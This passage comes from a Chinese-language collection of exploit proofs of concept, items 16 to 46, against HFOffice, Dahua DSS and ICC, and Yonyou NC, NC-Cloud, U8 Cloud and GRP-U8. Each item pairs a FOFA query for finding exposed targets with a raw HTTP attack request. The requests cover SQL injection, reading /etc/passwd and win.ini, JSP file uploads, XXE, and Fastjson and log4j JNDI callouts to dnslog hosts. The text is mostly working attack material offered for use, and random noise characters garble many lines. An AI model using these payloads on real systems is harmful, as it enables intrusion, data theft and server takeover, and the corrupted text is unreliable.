Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
  W1 [1 k) x! W; _2 w: U+ }. `Accept-Language: en
; r% d( F% [) M4 a) p0 K+ E, Hsec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
0 T/ o) d) C% bFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
+ p+ Q9 J7 b+ KHost: x.x.x.x
5 B1 n1 o6 R6 V4 b" w& e4 ?User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
. U; _. e' q; e; l5 O* E3 O1 vAccept-Encoding: gzip

0 @: \8 X: Z- |9 S# {  w
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
( x- E+ D0 T6 UPOST /portal/services/itcBulletin?wsdl HTTP/1.1
3 C* f1 j4 C# _2 c6 D* _3 ?* ?7 ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; N! \( T* D' q  k/ pConnection: close
Content-Length: 345
( z- Z9 `$ [# g6 jAccept-Encoding: gzip

6 F( G) W2 k) l! u" Q; h<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
8 W0 F# p' X6 \" w/ T8 ~; _9 R<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
3 u; R/ P, I% M' P/ l) e       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
( O! }) a7 K5 h; L/ }      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
7 [# }4 _5 ?% X1 m3 e& }& C</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
; Y/ h1 i4 t: r" w$ WGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
; ~% d2 J; N' c" O7 O+ z0 k) FHost: your-ip
. j  e9 Q9 V# k# G) }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; E, K6 v. F; H2 ^- P/ EAccept-Encoding: gzip, deflate
$ |# u# l$ U& q* Q  hAccept: */*
Connection: keep-alive

) q/ U8 F8 U2 j

19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
/ C; p- Z, O( W8 e- lHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1 s) i: i$ h5 O" H- z6 kAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

) ?! V% U2 s$ t
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
. K7 \2 z6 ~! p9 H2 yGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
  Z6 {% O; ^4 m3 i, z( Z# i7 |Host: x.x.x.x
. A9 U" {5 [! p8 \: z7 {6 _User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
( d" p' N2 I& L' @/ t. cAccept: */*
1 F& C+ |+ A. V% b; ?/ o  j8 hAccept-Language: en
Accept-Encoding: gzip
( _' {" h$ X4 c
+ D. C5 H9 r2 A  L& I. ~1 N
- Y0 K" X1 e# q* i& s2 Y21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
8 v0 U+ l! U2 T4 JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# v% ?2 n) \- w( AContent-Length: 161
Accept-Encoding: gzip
8 Y( K& A- B# O# w* X  EConnection: close
Content-Type: application/json;charset=utf-8
+ F7 b" M8 e& o
  i. w& G/ |6 `4 q( ?{
/ i3 F7 }* O- G2 P8 N$ d"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
$ x: S' l5 R, S/ U* T6 H  }""
}
; I( b9 d* O) Z5 p# S
3 g0 o4 Q  \7 S' R: |
3 a% ~. \+ ?4 o: j' ^- {3 Q22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
# s1 }: ?+ t$ m, @: B6 UContent-Type: application/json;charset=utf-8

; Q+ ^3 c) Q* {3 T# V" j{
"loginName":"${jndi:ldap://dnslog}"
1 p9 K9 w$ x3 }' U}
( X, k" V+ Z4 O3 w" K* P

) Q$ |, x& Q0 y1 n
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
. R6 X3 P8 G3 W% n2 xHost: your-ip
6 A: X9 p' K. w0 b8 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 h) r! L3 T  F9 d" c/ ?! bContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
( x1 P; r- t* ~) cConnection: close
; h6 f0 `: w& I
{
! U( q  C: g* c" Q" R" d8 d8 h$ w% x" f    "a":{
1 A6 S6 U9 S# l. k6 L! u        "@type":"com.alibaba.fastjson.JSONObject",
6 l  p% H0 P8 V  O: J' B+ Z% R8 L       {"@type":"java.net.URL","val":"http://DNSLOG"}
1 ?. v4 C6 v, K7 v1 m/ ]        }""
}
& {, ^4 ~5 d# F2 m& v9 t

8 ]* U- M( h7 ]* R/ ~( r24. 用友NC 6.5 accept.jsp任意文件上传
3 ]' ?- W* i, P8 a4 p1 IFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
  i" Z7 S( r/ A% V# l6 `+ K/ eContent-Length: 449
Accept: */*
  \; }3 e# u* w5 u" ?% E+ |Accept-Encoding: gzip
. e! h. R/ ~4 a; I& f$ y/ {Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
1 @4 p- a$ A  C9 J: p
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
  S8 f: Y9 Q9 ^( V, ^' }Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
& h# j4 {5 O/ O9 w& k4 eContent-Type: text/plain

5 L. d# E- Q: }+ x' i1 Z' }2 N<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
1 f6 v  c5 B) X- H-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
! N9 j6 Q1 v1 m5 }' UContent-Disposition: form-data; name="fname"
/ K( y& i4 Y2 E" T; d  }+ |
6 O/ a, s2 F3 `* B\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
7 y: N# S0 L# p0 {+ k0 n-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

. ]* R7 p7 c3 @+ x) N( S, N8 n2 R: @2 D6 ]
0 b3 y9 J- P8 V- V2 p25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
) V2 R, W' d9 }& F0 w2 J5 r. TAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
9 q# e7 ^/ r6 M+ GContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
& w& Y; H' h0 E; G9 l3 K

' g: U9 Q  l+ l4 J3 U3 Y
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
( O3 _1 X) g" o8 g8 n. G) XGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
8 D5 `0 U( r' q; q' W" v1 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  l' k3 b4 d: Z. dContent-Type: application/x-www-form-urlencoded
/ q. r3 W9 \7 I. F6 g4 yAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
4 P9 R, ?! l: S# w

# ?+ Y1 I# @# y$ ?27. 用友 NC showcontent SQL注入
( I; z3 e  _) TFOFA：icon_hash="1085941792"
- J$ {/ I* L2 p# QGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
1 @" v2 u* [* D) R5 jHost: your-ip
! U, C. k* t+ Q8 V8 a8 ^( rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 v: M" ~6 o3 yAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8

% p" n) f) `" W' q9 T. x" u5 ]$ N
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
% T/ G8 T" v. J7 Y$ y( u- fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
7 _1 H- _+ m* }# pConnection: close
Content-Length: 268
! I. T1 w; k5 G: k* p8 GContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

( c; l* Y: ~" k8 }4 u  \. ~------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
3 m' o" j( j& a% `" D* fContent-Type: application/octet-stream

+ i) o' I, ?# l6 C0 j, a<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


0 D8 |6 ?1 a) R) J; i/ h& _( O/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
- s1 t6 j( F6 c3 g( LGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
* U$ J" f! Z7 Z. c) oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( w- }! D3 i4 G% k- ^Content-Type: application/x-www-form-urlencoded
1 U4 b. g6 }+ v4 l; |Accept-Encoding: gzip, deflate
2 U) ?5 b1 p# C% a- n, UAccept: */*
8 [* c$ Y8 }6 c% ^% v$ YConnection: keep-alive
- D$ d2 e) j0 f# o' A
* L" N; I; s7 o' N  ]: R
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
6 N' i8 K! z) X$ d" m# XHost: your-ip
. \& m( M" z  k, mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
+ X" `# t) n1 w+ MConnection: close
- b  L( ^9 A2 _  R
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
) ]. u, ?. f3 A) k2 bContent-Type: image/jpeg
' E8 Y2 p, o- d( {------WebKitFormBoundaryH970hbttBhoCyj9V--
# C$ g5 ^  \! M
7 W2 g! h% y- q
9 T9 [9 N. D3 A+ L31. 用友NC runStateServlet SQL注入
4 e  L2 c" L; E9 ^version<=6.5
' ~' ^. v3 S4 Y+ T0 PFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
$ `7 d: N4 a$ Q  @  d: DGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 F3 R) t) x& rHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
! P' g4 {* l: s; SContent-Type: application/x-www-form-urlencoded

6 J+ N/ M; x# f7 J8 T
. ~! ]$ l$ B& y32. 用友NC complainbilldetail SQL注入
7 R- {  K+ q7 q* z" K9 Qversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
2 q* G! T8 p+ k: G4 t% Y9 i& RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
4 I9 b7 W. ^0 E5 n, s& @2 V. UAccept-Encoding: gzip, deflate
Accept: */*
1 _, ~3 A; V' S% l9 H8 l* nConnection: keep-alive
3 r: F' e) Z! F

33. 用友NC downTax/download SQL注入
  \' B% W% Y, q/ l2 }( S6 `- Nversion：NC6.5FOFA：app="用友-UFIDA-NC"
2 z5 a8 J3 N* w' Z  b6 CGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
! F# c3 v. R- J+ t5 T. H3 \) AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* ?; j/ V* a% w# A5 RContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

( }2 H! C1 v9 g+ J- v
34. 用友NC warningDetailInfo接口SQL注入
# O2 o$ y+ P& D/ x! r) _8 S0 KFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
4 F" e6 P* `# r) {. tHost: your-ip
% J) b3 c: x. HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
1 B8 H4 \/ r3 P- {Accept: */*
7 \8 e% J3 L8 H6 v5 I0 PConnection: keep-alive

5 b7 ^( D/ X  W
35. 用友NC-Cloud importhttpscer任意文件上传
/ j& H. C# }% o3 N0 t8 b" jFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
  k. i' ~, C6 i2 h, FAccept-Encoding: gzip, deflate
' F8 i9 L4 o7 r, {" HAccept: */*
% k: E5 y/ W% a! |Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
* b- `2 q3 @( @. cContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

0 g7 S* N/ v" i- C5 D% Z: Y) C--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
  \3 X2 \# ]: F3 \" ]$ B- L  Y$ U) d
1 q1 n" z6 ]# h, T7 Q/ h- V8 J<%out.println(1111*1111);%>
$ [; r$ o, L! s  D4 }1 h1 O. B--fd28cb44e829ed1c197ec3bc71748df0--
3 ~9 i2 }8 t9 ^! Q$ c4 y4 u8 }8 [( T
0 P4 w  {  D7 x
1 F& ~- R6 `' F36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
3 Y4 n. C+ ^1 m! Q$ c& K6 U. M) ?POST /uapws/soapFormat.ajax HTTP/1.1
, n& d# Z2 e* P; k0 g$ h- C- U4 s; _Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
0 Z; ?3 h: ?# J  U* I* vContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. E+ j' y/ P# F+ M! G5 `7 \Accept-Encoding: gzip, deflate
" B% k+ b6 F: A4 P1 IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 R5 ], @) C; Z: u- f. WConnection: close
; H- T( e( S* m# D* wContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

, Z# {* ~) i+ s( p1 [msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
, r8 O( e: P' c1 y7 X# I
& `' F/ l3 |- Y* c/ t, q, t
  ]% y: c- ~+ a8 D37. 用友NC-Cloud IUpdateService XXE
$ a' \6 K& D) w6 mFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
) J" E6 Y' m8 R* WPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
6 `7 I+ [( I6 [- I0 }2 yHost: 192.168.40.130:8989
2 |. j/ r! K  D( ]# aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
' U" I) E. V2 d8 M! t  X) q6 }Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
2 i$ d4 d# R: b% uAccept-Language: zh-CN,zh;q=0.9
7 l( u0 W5 p6 ^7 K- BConnection: close
Content-Type: text/xml;charset=UTF-8
$ T  T. ]( y# w  O- O7 V" }* Y0 GSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
8 U+ N% h7 o& E$ i0 k4 w
# h6 ]5 c/ j2 @4 c6 b0 X* {( t<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
" N- y9 c1 e# f; m( n<soapenv:Body>
- \/ V# D& Q( D# L4 I<iup:getResult>
8 r0 R' V/ y7 V<!--type: string-->
3 W) Q, e' ~7 a<iup:string><![CDATA[
( I0 W+ L5 U/ d7 s' Q& W+ L<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
5 x& o( }  _) U* z- J' b& }, c# [<xxx/>]]></iup:string>
</iup:getResult>
& `0 c6 E* W' P. ~</soapenv:Body>
# D& e- F  v3 @# X) [  B</soapenv:Envelope>



6 x1 V- O8 D: Q7 V# f$ c# k  L2 N38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
% V3 W/ x- Z+ F6 r* zPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
. P# N, f: t' L4 w0 A: W& S" f2 F' kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
) Y5 s* Y- |1 p; tContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
/ t0 L  ^0 [) g+ I) R+ BAccept-Encoding: gzip, deflate
; V7 c( J% s+ K* gAccept-Language: zh-CN,zh;q=0.9
0 R/ X$ }7 @1 ]9 ^Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
' g; L' r" L% R) f
- A# Z8 v0 Z+ Q& r
' `7 x% y  o* d39. 用友U8 Cloud RegisterServlet SQL注入
' \$ {' ~; _0 C4 h0 ^. ]0 tFOFA：title="u8c"
0 I# d# p) l2 G4 Z* ?POST /servlet/RegisterServlet HTTP/1.1
; e* p: K- r# S; N+ KHost: 192.168.86.128:8089
" z3 c4 V3 X  hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
8 d0 G, H  ?% _  t8 lX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

7 H$ u7 E3 G$ p2 S, k) e0 w1 Lusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
$ d% i' }+ U4 }  A1 D1 c
- J* ^: m' t9 T
& C! ^: B! w8 F$ C% ?0 t$ L40. 用友U8-Cloud XChangeServlet XXE
7 A6 _2 y" ~  Q9 R; g3 fFOFA：app="用友-U8-Cloud"
$ \& D, @/ {! d  @2 }& R/ LPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
# O6 k  b  T, `Content-Type: text/xml
3 W' ]5 d* c& `/ N( r; M* ?Connection: close
  p9 [& W( l; ~3 e
' I- r# x2 J; B+ g& D. N) }<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

% @/ o6 c* f0 l1 f
- u& K) ^( k, {' k# Y, z41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
( Z; y; c$ ~5 R+ l' I3 ^- _9 pFOFA：app="用友-U8-Cloud"
% l% b" X7 D7 W6 M5 \5 d) WGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
8 z+ P2 a9 e( z& o4 L1 zConnection: close
* b4 W! R3 r- Z

! ], k" f6 G: Z42. 用友GRP-U8 SmartUpload01 文件上传
1 s0 s' I. g; fFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
+ a% F$ c( S& c' b3 |% F
) B- g1 J3 {  ^+ n$ X1 p# o  L$ qPAYLOAD


. o' |- T0 R+ o% ^! Y0 o; w, ehttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; f& t9 M, O7 Q4 z1 G5 I# nAccept-Encoding: gzip, deflate
7 `8 Y0 y3 U; T2 r1 WAccept-Language: zh-CN,zh;q=0.9
7 k/ e& _4 t) k% s; a- zConnection: close
SOAPAction:
# V* ?' m& S" Y) X4 _- Q4 ?* gContent-Type: text/xml;charset=UTF-8

  [( x8 i0 x3 |. X<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
+ f( u7 J) k+ n2 |9 t1 ~7 \% ^, t" }& B   <soapenv:Header/>
( Y0 T" U* m$ w" Y   <soapenv:Body>
* l( D( N$ H0 m      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
6 @$ L& P9 e- ]2 b2 w4 [2 E      </ser:getUserNameById>
   </soapenv:Body>
; c% J/ @- ]' s* J$ r9 f- w</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
" f! n% N) ~; f7 y$ T) h* ]Host: your-ip
! S/ k9 W  l2 w1 w; w0 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 T6 @; q& n; O' yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ y3 s4 O/ y. s, o: p( BConnection: close


! j! l- [5 Z, p45. 用友GRP-U8 ufgovbank XXE
, z& s, m. h2 p  K7 g, N6 PFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
# w. p2 E0 p& e' T) X6 u3 @Host: 192.168.40.130:222
. w2 a* C0 Q- h6 A9 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
  O4 t; F# G* o9 ?2 h8 ^Connection: close
Content-Length: 161
7 i$ @; b( w; p* }1 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' P. j. }% u3 _, N: Q& x  XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
- k7 |9 d% f9 O. Q1 T: W
% W! L; ~: {, J7 EreqData=<?xml version="1.0"?>
8 M( @/ Y$ t! P" ?' n<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

  u* T, l% x$ w$ u6 `9 k( j
! l9 i9 N" e' W% a4 _) i46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
- Q, s7 U  ~; A6 n9 s2 ]GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
